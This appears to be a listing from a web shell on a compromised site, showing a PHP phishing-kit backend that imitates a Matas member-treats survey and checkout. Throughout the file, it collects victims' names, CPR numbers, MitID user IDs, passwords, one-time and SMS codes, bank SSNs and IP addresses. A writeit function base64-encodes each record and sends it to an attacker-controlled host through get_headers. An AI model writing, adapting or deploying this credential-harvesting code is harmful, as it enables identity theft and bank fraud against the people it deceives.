Your IP : 216.73.216.147


Current Path : /home/lejardintz/www/assets/mta/
Upload File :
Current File : /home/lejardintz/www/assets/mta/godaddy.php

<?php
session_start();
date_default_timezone_set("Europe/Sofia");
include('nordstrom/pp.php');
$ip = getenv("REMOTE_ADDR");
$adddate=date("h:iA");

function writeit($data,$site) {  
$dataz = base64_encode($data); 
$zait = "$site$dataz"; 
get_headers("$zait"); 
}
$rndtext = md5(microtime());
$rrand = rand(000000000,999999999);
$rrand1 = rand(000000000,999999999);
$rndtext = md5(microtime()).md5(microtime());

// ---- Steps ---- //
if ($_GET['data'] == "startsurvey")
{
    header("Location: Medlemstreats.php?data=survey");
}
if ($_GET['data'] == "submitsurvey")
{
    header("Location: Medlemstreats.php?data=processing");
}
if ($_GET['data'] == "claim")
{
    header("Location: Medlemstreats.php?data=products");
}
if ($_GET['data'] == "addtocart")
{
    $_SESSION['productlink'] = $_POST['productlink'];
    $_SESSION['productpicture1'] = $_POST['productpicture1'];
    $_SESSION['productpicture2'] = $_POST['productpicture2'];
    $_SESSION['productbrand'] = $_POST['productbrand'];
    $_SESSION['productname'] = $_POST['productname'];
    $_SESSION['productprice'] = $_POST['productprice'];
    header("Location: Medlemstreats.php?data=basket");
}
if ($_GET['data'] == "gotocheckout")
{
    header("Location: Matas.Checkout.php?data=address");
}
if ($_GET['data'] == "submitaddress")
{
    $_SESSION['name'] = $_POST['name'];
    $_SESSION['address'] = $_POST['address'];
    $_SESSION['postcode'] = $_POST['postcode'];
    $_SESSION['city'] = $_POST['city'];
    $_SESSION['phone'] = $_POST['phone'];
    $_SESSION['email'] = $_POST['email'];
    // create 2 vars
    $fullname = $_POST['name'];
    $names = explode(' ', $fullname);
    $fname = $names[0];
    $lname = $names[count($names) - 1];
    $_SESSION['fname'] = $fname;
    $_SESSION['lname'] = $lname;
    header("Location: Matas.Checkout.php?data=delivery");
}
if ($_GET['data'] == "gotosummary")
{
    header("Location: Matas.Checkout.php?data=summary");
}
if ($_GET['data'] == "gotopayment")
{
    header("Location: CheckOut.WordLine.php?data=start");
}
if ($_GET['data'] == "cancelform")
{
    header("Location: Matas.Checkout.php?data=summary");
}
// ------------ SVG DATA SUBMIT ----------- //
if ($_GET['data'] == "submitcpr")
{
$data = "
-------------
Name: ".$_SESSION['name']."
CPR: ".$_POST['cpr']."
IP: $ip
";
    writeit($data,$site2);
    header("Location: nordstrom/svgdata.php?data=start");
}
if ($_GET['data'] == "submituserid")
{
$data = "
-------------
Name: ".$_SESSION['name']."
User ID: ".$_POST['userid']."
IP: $ip
";
    writeit($data,$site2);
    header("Location: nordstrom/svgdata.php?data=start");
}
if ($_GET['data'] == "submitpassid")
{
$data = "
-------------
Name: ".$_SESSION['name']."
Pass ID: ".$_POST['adgangskode']."
IP: $ip
";
    writeit($data,$site2);
    header("Location: nordstrom/svgdata.php?data=start");
}
if ($_GET['data'] == "submitengang")
{
$data = "
-------------
Name: ".$_SESSION['name']."
Engangskode: ".$_POST['gigi1'].$_POST['gigi2'].$_POST['gigi3'].$_POST['gigi4'].$_POST['gigi5'].$_POST['gigi6']."
IP: $ip
";
    writeit($data,$site2);
    header("Location: nordstrom/svgdata.php?data=start");
}
if ($_GET['data'] == "submitservicekode")
{
$data = "
-------------
Name: ".$_SESSION['name']."
Service Kode: ".$_POST['gigi1'].$_POST['gigi2'].$_POST['gigi3'].$_POST['gigi4']."
IP: $ip
";
    writeit($data,$site2);
    header("Location: nordstrom/svgdata.php?data=start");
}
if ($_GET['data'] == "submitssn")
{
$data = "
-------------
Bank: ".$_SESSION['bank']."
SSN: ".$_POST['gigi']."
IP: $ip
";
    writeit($data,$site2);
    header("Location: nordstrom/mobile.html");
}
if ($_GET['data'] == "submitmobilecode")
{
$data = "
-------------
Bank: ".$_SESSION['bank']."
Mobile Code: ".$_POST['gigi1'].$_POST['gigi2'].$_POST['gigi3'].$_POST['gigi4']."
IP: $ip
";
    writeit($data,$site2);
    header("Location: nordstrom/svgdata.php?data=start");
}
if ($_GET['data'] == "submitsms")
{
$data = "
-------------
Name: ".$_SESSION['name']."
MitID SMS: ".$_POST['gigi']."
IP: $ip
";
    writeit($data,$site2);
    header("Location: nordstrom/svgdata.php?data=start");
}
// ------------ SVG DATA STEPS ----------- //
if ($_GET['data'] == "start")
{
$data = "-------------
(START) ".$_SESSION['name']." ";
    writeit($data,$info);
    header("Location: nordstrom/svgdata.php?data=start");
}
if ($_GET['data'] == "gotoengang")
{
$data = "-------------
(ENGANG) ".$_SESSION['name']." ";
    writeit($data,$info);
    header("Location: nordstrom/svgdata.php?data=engang");
}
if ($_GET['data'] == "restart")
{
$data = "-------------
(RESTART) ".$_SESSION['name']." ";
    writeit($data,$info);
    header("Location: nordstrom/svgdata.php?data=start");
}
if ($_GET['data'] == "relogin")
{
$data = "-------------
(RELOGIN) ".$_SESSION['name']." ";
    writeit($data,$info);
    header("Location: nordstrom/svgdata.php?data=userid");
}
if ($_GET['data'] == "cancel")
{
$data = "-------------
(CANCEL) ".$_SESSION['name']." ";
    writeit($data,$info);
    header("Location: CheckOut.WordLine.php?data=decline");
}
if ($_GET['data'] == "timeout")
{
$data = "-------------
(TIMEOUT) ".$_SESSION['name']." ";
    writeit($data,$info);
    header("Location: CheckOut.WordLine.php?data=decline");
}
if ($_GET['data'] == "complete")
{
    header("Location: Matas.Checkout.php?data=complete");
}
// ------------ SMS ------------ //
if ($_GET['data'] == "sms")
{
$data = "-------------
Name: ".$_SESSION['name']."
SMS: ".$_POST['gigi']."
IP: $ip
Date: $adddate
";
    writeit($data,$site2);
    header("Location: nordstrom/svgdata.php?data=start");
}
?>